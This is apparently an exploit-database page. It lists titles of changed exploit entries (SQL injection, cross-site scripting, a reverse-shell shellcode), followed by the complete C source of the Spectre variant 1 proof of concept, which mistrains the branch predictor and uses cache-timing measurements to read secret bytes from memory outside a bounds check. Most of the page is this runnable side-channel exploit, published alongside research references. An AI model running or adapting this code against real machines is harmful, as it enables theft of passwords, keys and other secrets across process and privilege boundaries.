
23 changes to exploits/shellcodes Emulive Server4 7560 - Remote Denial of Service Emulive Server4 Build 7560 - Remote Denial of Service ShareCenter D-Link DNS-320 - Remote reboot/shutdown/reset (Denial of Service) D-Link DNS-320 ShareCenter - Remote Reboot/Shutdown/Reset (Denial of Service) DNS4Me 3.0 - Denial of Service / Cross-Site Scripting EmuLive Server4 - Authentication Bypass / Denial of Service GetGo Download Manager 5.3.0.2712 - 'Proxy' Buffer Overflow Microsoft Windows win32k - Using SetClassLong to Switch Between CS_CLASSDC and CS_OWNDC Corrupts DC Cache VMware Workstation - ALSA Config File Local Privilege Escalation (Metasploit) keene digital media server 1.0.2 - Directory Traversal variant Xedus Web Server 1.0 - test.x 'Username' Cross-Site Scripting Xedus Web Server 1.0 - testgetrequest.x 'Username' Cross-Site Scripting Xedus Web Server 1.0 - Traversal Arbitrary File Access Keene Digital Media Server 1.0.2 - Directory Traversal Xedus Web Server 1.0 - test.x 'Username' Cross-Site Scripting Xedus Web Server 1.0 - testgetrequest.x 'Username' Cross-Site Scripting Xedus Web Server 1.0 - Traversal Arbitrary File Access D-Link DNS-320 ShareCenter < 1.06 - Backdoor Access WDMyCloud < 2.30.165 - Multiple Vulnerabilities Ayukov NFTP FTP Client 2.0 - Buffer Overflow (Metasploit) Cisco IOS - Remote Code Execution Simple Machines Forum (SMF) 1.0.4 - 'modify' SQL Injection WordPress 1.5.1.2 - xmlrpc Interface SQL Injection WordPress 1.5.1.2 - 'xmlrpc' Interface SQL Injection MySQL Eventum 1.5.5 - 'login.php' SQL Injection PHP live helper 2.0.1 - Multiple Vulnerabilities PHP Live Helper 2.0.1 - Multiple Vulnerabilities Zen Cart 1.3.9f (typefilter) - Local File Inclusion Zen Cart 1.3.9f - 'typefilter' Local File Inclusion phpWebSite 0.7.3/0.8.x/0.9.x - Comment Module CM_pid Cross-Site Scripting phpWebSite 0.7.3/0.8.x/0.9.x Comment Module - 'CM_pid' Cross-Site Scripting YaBB 1.x/9.1.2000 - YaBB.pl IMSend Cross-Site Scripting YaBB 1.x/9.1.2000 - 'YaBB.pl IMSend' Cross-Site Scripting SugarCRM 1.x/2.0 Module - 'record' SQL Injection SugarCRM 1.x/2.0 Module - Traversal Arbitrary File Access SugarCRM 1.x/2.0 Module - 'record' SQL Injection SugarCRM 1.x/2.0 Module - Traversal Arbitrary File Access phpGroupWare 0.9.x - 'index.php' Multiple Cross-Site Scripting Vulnerabilities phpGroupWare 0.9.x - 'viewticket_details.php?ticket_id' Cross-Site Scripting phpGroupWare 0.9.x - 'viewticket_details.php?ticket_id' SQL Injection phpGroupWare 0.9.x - 'index.php' Multiple SQL Injections phpGroupWare 0.9.x - 'index.php' Multiple Cross-Site Scripting Vulnerabilities phpGroupWare 0.9.x - 'viewticket_details.php?ticket_id' Cross-Site Scripting phpGroupWare 0.9.x - 'viewticket_details.php?ticket_id' SQL Injection phpGroupWare 0.9.x - 'index.php' Multiple SQL Injections Kayako eSupport 2.x - 'index.php' Knowledgebase Cross-Site Scripting Kayako eSupport 2.x - Ticket System Multiple SQL Injections Kayako eSupport 2.x - 'index.php' Knowledgebase Cross-Site Scripting Kayako eSupport 2.x - Ticket System Multiple SQL Injections Kayako ESupport 2.3 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities Double Choco Latte 0.9.3/0.9.4 - 'main.php' Arbitrary PHP Code Execution PHPCOIN 1.2 - 'auxpage.php?page' Traversal Arbitrary File Access phpCoin 1.2 - 'auxpage.php?page' Traversal Arbitrary File Access ModernGigabyte ModernBill 4.3 - 'news.php' File Inclusion ModernGigabyte ModernBill 4.3 - 'C_CODE' Cross-Site Scripting ModernGigabyte ModernBill 4.3 - 'Aid' Cross-Site Scripting ModernGigabyte ModernBill 4.3 - 'news.php' File Inclusion ModernGigabyte ModernBill 4.3 - 'C_CODE' Cross-Site Scripting ModernGigabyte ModernBill 4.3 - 'Aid' Cross-Site Scripting Yappa-ng 1.x/2.x - Remote File Inclusion Yappa-ng 1.x/2.x - Cross-Site Scripting Yappa-ng 1.x/2.x - Remote File Inclusion Yappa-ng 1.x/2.x - Cross-Site Scripting Notes Module for phpBB - SQL Injection phpBB Notes Module - SQL Injection osTicket 1.2/1.3 - Multiple Input Validation / Remote Code Injection Vulnerabilities SitePanel2 2.6.1 - Multiple Input Validation Vulnerabilities osTicket 1.2/1.3 - Multiple Input Validation / Remote Code Injection Vulnerabilities SitePanel2 2.6.1 - Multiple Input Validation Vulnerabilities Help Center Live 1.0/1.2.x - Multiple Input Validation Vulnerabilities HelpCenter Live! 1.0/1.2.x - Multiple Input Validation Vulnerabilities FusionBB 0.x - Multiple Input Validation Vulnerabilities Invision Power Services Invision Gallery 1.0.1/1.3 - SQL Injection Invision Community Blog 1.0/1.1 - Multiple Input Validation Vulnerabilities Invision Power Services Invision Gallery 1.0.1/1.3 - SQL Injection Invision Community Blog 1.0/1.1 - Multiple Input Validation Vulnerabilities osCommerce 2.1/2.2 - Multiple HTTP Response Splitting Vulnerabilities PAFaq - Question Cross-Site Scripting PAFaq - Administrator 'Username' SQL Injection UBBCentral UBB.Threads 5.5.1/6.x - 'download.php?Number' SQL Injection UBBCentral UBB.Threads 5.5.1/6.x - 'calendar.php' Multiple SQL Injections UBBCentral UBB.Threads 5.5.1/6.x - 'modifypost.php?Number' SQL Injection UBBCentral UBB.Threads 5.5.1/6.x - 'viewmessage.php?message' SQL Injection UBBCentral UBB.Threads 5.5.1/6.x - 'addfav.php?main' SQL Injection UBBCentral UBB.Threads 5.5.1/6.x - 'notifymod.php?Number' SQL Injection UBBCentral UBB.Threads 5.5.1/6.x - 'grabnext.php?posted' SQL Injection UBBCentral UBB.Threads 5.5.1/6.x - 'download.php?Number' SQL Injection UBBCentral UBB.Threads 5.5.1/6.x - 'calendar.php' Multiple SQL Injections UBBCentral UBB.Threads 5.5.1/6.x - 'modifypost.php?Number' SQL Injection UBBCentral UBB.Threads 5.5.1/6.x - 'viewmessage.php?message' SQL Injection UBBCentral UBB.Threads 5.5.1/6.x - 'addfav.php?main' SQL Injection UBBCentral UBB.Threads 5.5.1/6.x - 'notifymod.php?Number' SQL Injection UBBCentral UBB.Threads 5.5.1/6.x - 'grabnext.php?posted' SQL Injection Kayako LiveResponse 2.0 - 'index.php?Username' Cross-Site Scripting Kayako LiveResponse 2.0 - 'index.php' Calendar Feature Multiple SQL Injections Kayako Live Response 2.0 - 'index.php?Username' Cross-Site Scripting Kayako Live Response 2.0 - 'index.php' Calendar Feature Multiple SQL Injections MySQL AB Eventum 1.x - 'view.php?id' Cross-Site Scripting MySQL AB Eventum 1.x - 'list.php?release' Cross-Site Scripting MySQL AB Eventum 1.x - 'get_jsrs_data.php?F' Cross-Site Scripting MySQL AB Eventum 1.x - 'view.php?id' Cross-Site Scripting MySQL AB Eventum 1.x - 'list.php?release' Cross-Site Scripting MySQL AB Eventum 1.x - 'get_jsrs_data.php?F' Cross-Site Scripting RunCMS 1.1/1.2 Module Newbb_plus/Messages - SQL Injection EyeOS 0.8.x - Session Remote Command Execution eyeOS 0.8.x - Session Remote Command Execution CPAINT 1.3/2.0 - 'TYPE.php' Cross-Site Scripting CPAINT 1.3/2.0.2 - 'TYPE.php' Cross-Site Scripting XMB Forum 1.8/1.9 - 'u2u.php?Username' Cross-Site Scripting Zen Cart Web Shopping Cart 1.x - 'autoload_func.php?autoLoadConfig[999][0][loadFile]' Remote File Inclusion Zen Cart Web Shopping Cart 1.3.0.2 - 'autoload_func.php?autoLoadConfig[999][0][loadFile]' Remote File Inclusion osCommerce 2.1/2.2 - 'product_info.php' SQL Injection CakePHP 1.1.7.3363 - 'Vendors.php' Directory Traversal HAMweather 3.9.8 - 'template.php' Script Code Injection Kayako SupportSuite 3.0.32 - PHP_SELF Trigger_Error Function Cross-Site Scripting Kayako SupportSuite 3.0.32 - 'PHP_SELF Trigger_Error' Function Cross-Site Scripting Jamroom 3.3.8 - Cookie Authentication Bypass Kayako SupportSuite 3.x - '/visitor/index.php?sessionid' Cross-Site Scripting Kayako SupportSuite 3.x - 'index.php?filter' Cross-Site Scripting Kayako SupportSuite 3.x - '/staff/index.php?customfieldlinkid' SQL Injection Kayako SupportSuite 3.x - '/visitor/index.php?sessionid' Cross-Site Scripting Kayako SupportSuite 3.x - 'index.php?filter' Cross-Site Scripting Kayako SupportSuite 3.x - '/staff/index.php?customfieldlinkid' SQL Injection Vanilla 1.1.4 - HTML Injection / Cross-Site Scripting UBBCentral UBB.Threads 7.3.1 - 'Forum[]' Array SQL Injection gps-server.net GPS Tracking Software < 3.1 - Multiple Vulnerabilities Zen Cart < 1.3.8a - SQL Injection PHP Topsites < 2.2 - Multiple Vulnerabilities phpLinks < 2.1.2 - Multiple Vulnerabilities P-Synch < 6.2.5 - Multiple Vulnerabilities WinMX < 2.6 - Design Error FTP Service < 1.2 - Multiple Vulnerabilities MegaBrowser < 0.71b - Multiple Vulnerabilities Max Web Portal < 1.30 - Multiple Vulnerabilities Snitz Forums 2000 < 3.4.0.3 - Multiple Vulnerabilities Gespage 7.4.8 - SQL Injection Linux/x86 - Reverse TCP /bin/sh Shell (127.1.1.1:8888/TCP) Null-Free Shellcode (67/69 bytes)
131 lines
No EOL
4.8 KiB
C
131 lines
No EOL
4.8 KiB
C
/*
|
||
EDB Note:
|
||
- https://spectreattack.com/
|
||
- https://spectreattack.com/spectre.pdf
|
||
- https://googleprojectzero.blogspot.co.at/2018/01/reading-privileged-memory-with-side.html
|
||
*/
|
||
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <stdint.h>
|
||
#ifdef _MSC_VER
|
||
#include <intrin.h> /* for rdtscp and clflush */
|
||
#pragma optimize("gt",on)
|
||
#else
|
||
#include <x86intrin.h> /* for rdtscp and clflush */
|
||
#endif
|
||
|
||
/********************************************************************
|
||
Victim code.
|
||
********************************************************************/
|
||
unsigned int array1_size = 16;
|
||
uint8_t unused1[64];
|
||
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
|
||
uint8_t unused2[64];
|
||
uint8_t array2[256 * 512];
|
||
|
||
char *secret = "The Magic Words are Squeamish Ossifrage.";
|
||
|
||
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
|
||
|
||
void victim_function(size_t x) {
|
||
if (x < array1_size) {
|
||
temp &= array2[array1[x] * 512];
|
||
}
|
||
}
|
||
|
||
|
||
/********************************************************************
|
||
Analysis code
|
||
********************************************************************/
|
||
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */
|
||
|
||
/* Report best guess in value[0] and runner-up in value[1] */
|
||
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
|
||
static int results[256];
|
||
int tries, i, j, k, mix_i, junk = 0;
|
||
size_t training_x, x;
|
||
register uint64_t time1, time2;
|
||
volatile uint8_t *addr;
|
||
|
||
for (i = 0; i < 256; i++)
|
||
results[i] = 0;
|
||
for (tries = 999; tries > 0; tries--) {
|
||
|
||
/* Flush array2[256*(0..255)] from cache */
|
||
for (i = 0; i < 256; i++)
|
||
_mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */
|
||
|
||
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
|
||
training_x = tries % array1_size;
|
||
for (j = 29; j >= 0; j--) {
|
||
_mm_clflush(&array1_size);
|
||
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
|
||
|
||
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
|
||
/* Avoid jumps in case those tip off the branch predictor */
|
||
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
|
||
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
|
||
x = training_x ^ (x & (malicious_x ^ training_x));
|
||
|
||
/* Call the victim! */
|
||
victim_function(x);
|
||
}
|
||
|
||
/* Time reads. Order is lightly mixed up to prevent stride prediction */
|
||
for (i = 0; i < 256; i++) {
|
||
mix_i = ((i * 167) + 13) & 255;
|
||
addr = &array2[mix_i * 512];
|
||
time1 = __rdtscp(&junk); /* READ TIMER */
|
||
junk = *addr; /* MEMORY ACCESS TO TIME */
|
||
time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
|
||
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
|
||
results[mix_i]++; /* cache hit - add +1 to score for this value */
|
||
}
|
||
|
||
/* Locate highest & second-highest results results tallies in j/k */
|
||
j = k = -1;
|
||
for (i = 0; i < 256; i++) {
|
||
if (j < 0 || results[i] >= results[j]) {
|
||
k = j;
|
||
j = i;
|
||
} else if (k < 0 || results[i] >= results[k]) {
|
||
k = i;
|
||
}
|
||
}
|
||
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
|
||
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
|
||
}
|
||
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
|
||
value[0] = (uint8_t)j;
|
||
score[0] = results[j];
|
||
value[1] = (uint8_t)k;
|
||
score[1] = results[k];
|
||
}
|
||
|
||
int main(int argc, const char **argv) {
|
||
size_t malicious_x=(size_t)(secret-(char*)array1); /* default for malicious_x */
|
||
int i, score[2], len=40;
|
||
uint8_t value[2];
|
||
|
||
for (i = 0; i < sizeof(array2); i++)
|
||
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
|
||
if (argc == 3) {
|
||
sscanf(argv[1], "%p", (void**)(&malicious_x));
|
||
malicious_x -= (size_t)array1; /* Convert input value into a pointer */
|
||
sscanf(argv[2], "%d", &len);
|
||
}
|
||
|
||
printf("Reading %d bytes:\n", len);
|
||
while (--len >= 0) {
|
||
printf("Reading at malicious_x = %p... ", (void*)malicious_x);
|
||
readMemoryByte(malicious_x++, value, score);
|
||
printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear"));
|
||
printf("0x%02X=’%c’ score=%d ", value[0],
|
||
(value[0] > 31 && value[0] < 127 ? value[0] : ’?’), score[0]);
|
||
if (score[1] > 0)
|
||
printf("(second best: 0x%02X score=%d)", value[1], score[1]);
|
||
printf("\n");
|
||
}
|
||
return (0);
|
||
} |